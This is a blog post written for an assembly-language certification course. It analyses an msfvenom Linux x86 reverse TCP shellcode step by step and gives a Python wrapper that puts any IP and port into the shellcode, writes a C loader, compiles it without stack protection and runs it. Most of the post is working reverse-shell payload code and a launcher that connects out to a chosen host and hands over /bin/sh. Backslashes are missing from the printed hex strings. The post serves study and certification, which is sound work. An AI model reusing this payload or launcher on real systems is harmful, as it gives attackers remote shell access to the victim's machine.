This is the second blog post for the new series of SLAE assignments on BrewinLabs.
On this second blog post we will take a look at a reverse shellcode which is able to connect back to a specific IP address and an specific port as well as offers a shell to the attacker. Do you want to know how a msfvenom code works? Here we go..
If you wonder what SLAE is, here is a cite of pentesteracademy:
The SecurityTube Linux Assembly Expert (SLAE) is an online course and certification which focuses on teaching the basics of 32-bit assembly language for the Intel Architecture (IA-32) family of processors on the Linux platform and applying it to Infosec. Once we are through with the basics, we will look at writing shellcode, encoders, decoders, crypters and other advanced low level applications.
Goal:
The second task is to create reverse shellcode which connects back to an ip and a port and offers a shell. IP and port should be easily configurable through a wrapper script.
I’ve decided again not to reinvent the wheel and finish the task through two steps:
1. analyse a msfvenom-reverse-shell
2. create a script with the assembly code and the ability to change the ip and port easily
Analyse the msfvenom code
We create the reverse shellcode in the same way as in assignment 1. Be careful to use a non-staged reverse shell (shell_reverse_tcp):
sfvenom -p linux/x86/shell_reverse_tcp LHOST=127.0.0.1 LPORT=4444 -f raw | sctest -vvv -Ss 1000000 -G shellcode_2.dot
As you can see there are only 4 instead of 6 steps for creating a reverse shell.
So let’s check the output:
- Step 1: Create socket
- Step 2: duplicate file descriptors
- Step 3: connect to the IP and port
- Step 4: execve executes the shell
Reverse Shell Hex Code:
; --> Step 1: Create Socket
xor ebx,ebx ; zero out registers
mul ebx
push ebx
inc ebx ; ebx = 1
push ebx ; 1 (SOCK_STREAM)
push byte +0x2 ; 2 (AF_INET)
mov ecx,esp ; ecx = args array struct
mov al,0x66 ; push 102 (socketcall) to EAX
int 0x80 ; syscall
; --> Step 2: Duplicate the file descriptor
xchg eax,ebx
pop ecx
mov al,0x3f ; syscall 63 (dup)
int 0x80 ; syscall
dec ecx ; decrement counter
jns 0x11
; --> Step 3: Connect
push dword 0x0100007F ; pushing IP address
push dword 0x5c110002 ; pushing port
mov ecx,esp
mov al,0x66 ; socket syscall
push eax
push ecx
push ebx
mov bl,0x3 ; type of socketcall (3=connect)
mov ecx,esp ; stack pointer to sockaddr_structure
int 0x80 ; syscall
; --> Step 4: Execve
push edx
push dword 0x68732f6e ; hs//
push dword 0x69622f2f ; nib/
mov ebx,esp ; ebx = //bin/sh
push edx
push ebx
mov ecx,esp ; argv = [filename,0]
mov al,0xb ; syscall 12 (execve)
int 0x80 ; syscall
used linux man pages:
Create Python Script
So far we know the workflow of the reverse shell in hex. Now lets transfer our knowledgement into a python script which is able to take a given ip and port number, insert this numbers into the shellcode and execute a reverse shell.
## ip comes in format xxx.xxx.xxx.xxx
ip_addresses = results.ip.split(".")
ip = ""
for counter in range(0, len(ip_addresses)):
# ip to hex, cut 0x and fill with zero's if only one character
ip_addresses[counter] = hex(int(ip_addresses[counter]))[2:].zfill(2)
ip += ("x{}".format(ip_addresses[counter]))
This time we have to translate a IP address like 127.0.0.1 to hex which is not a very hard task:
- split the ip address at the dot
- translate the numbers into hex
- cut off the leading „0x“, fill up with zero’s until we have to chars per ip octet and add a leading „\\x“
The port calculation doesn’t change this time so it will not be mentioned in this part of the assignment. At least lets put the things thogether to a working script. As far as python isn’t able to execute shellcode in hex i’ve decided to write the neccessary output to a C-file, compile it and execute it.
assignment2.py
import sys
import argparse
import os
parser = argparse.ArgumentParser(description="Reverse-Shell Creator SLAE assignment 1")
parser.add_argument('-ip', '--ipaddress', help='defines the IP for the reverse shell', dest='ip')
parser.add_argument('-p', '--port', help='defines the port for the reverse shell, choose port 1024 to 65535', dest='port')
parser.add_argument('-e', '--execute', help='executes the bind shell', action='store_true', dest='execute')
results = parser.parse_args()
results.port = int(results.port)
if results.port < 1024 or results.port > 65535:
sys.exit()
## ip comes in format xxx.xxx.xxx.xxx
ip_addresses = results.ip.split(".")
ip = ""
for counter in range(0, len(ip_addresses)):
# ip to hex, cut 0x and fill with zero's if only one character
ip_addresses[counter] = hex(int(ip_addresses[counter]))[2:].zfill(2)
ip += ("x{}".format(ip_addresses[counter]))
## port becomes hex 0x400 to 0xffff -> cut off 0x
port = hex(results.port)[2:]
## fill up with zero until we have 4 characters
port = port.zfill(4)
port = "x{}x{}".format(port[0:2], port[2:4])
shellcode_c = "x31xdbxf7xe3x53x43x53x6ax02x89xe1xb0x66xcdx80x93x59xb0x3fxcdx80x49x79xf9x68{}x68x02x00{}x89xe1xb0x66x50x51x53xb3x03x89xe1xcdx80x52x68x6ex2fx73x68x68x2fx2fx62x69x89xe3x52x53x89xe1xb0x0bxcdx80".format(ip, port)
shellcode_hex = shellcode_c.replace('x', '')
print("Shellcode in C-Format:")
print("Shellcode length = {} bytes".format(len(shellcode_hex)))
print("unsigned char code[] = ")
print('"x31xdbxf7xe3x53x43x53x6ax02x89xe1xb0x66xcdx80x93x59"')
print('"xb0x3fxcdx80x49x79xf9x68{}x68x02x00{}"'.format(ip, port))
print('"x89xe1xb0x66x50x51x53xb3x03x89xe1xcdx80x52x68x6ex2f"')
print('"x73x68x68x2fx2fx62x69x89xe3x52x53x89xe1xb0x0bxcdx80";')
print("nShellcode in Hex-Format:")
print(shellcode_hex[:80])
print(shellcode_hex[80:160])
if results.execute:
print("Spawn binding shell on port " + str(results.port))
print("listening...")
f = open("shellcode.c", "w")
f.write('#include<stdio.h>')
f.write('n#include<string.h>')
f.write('nunsigned char code[] = ')
f.write('n"x31xdbxf7xe3x53x43x53x6ax02x89xe1xb0x66xcdx80x93x59"')
f.write('n"xb0x3fxcdx80x49x79xf9x68{}x68x02x00{}"'.format(ip, port))
f.write('n"x89xe1xb0x66x50x51x53xb3x03x89xe1xcdx80x52x68x6ex2f"')
f.write('n"x73x68x68x2fx2fx62x69x89xe3x52x53x89xe1xb0x0bxcdx80";')
f.write('nint main(){')
f.write('nint (*ret)() = (int(*)())code;')
f.write('nret();}')
f.close()
os.system("gcc -fno-stack-protector -z execstack -m32 shellcode.c -o reverse_shell")
os.system("./reverse_shell")
Now let’s try to run it and see what we get.
After execution of the script we get the shellcode in C and Hex as expected.
Well, now let’s check out if our execution parameter works…
Wonderful, we get exactly what we want and have finished assignment 2!
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: https://www.pentesteracademy.com/course?id=3
Student ID: PA-11909
All associated code can be found here: https://github.com/breakinlabs/SLAE/tree/master/assignment2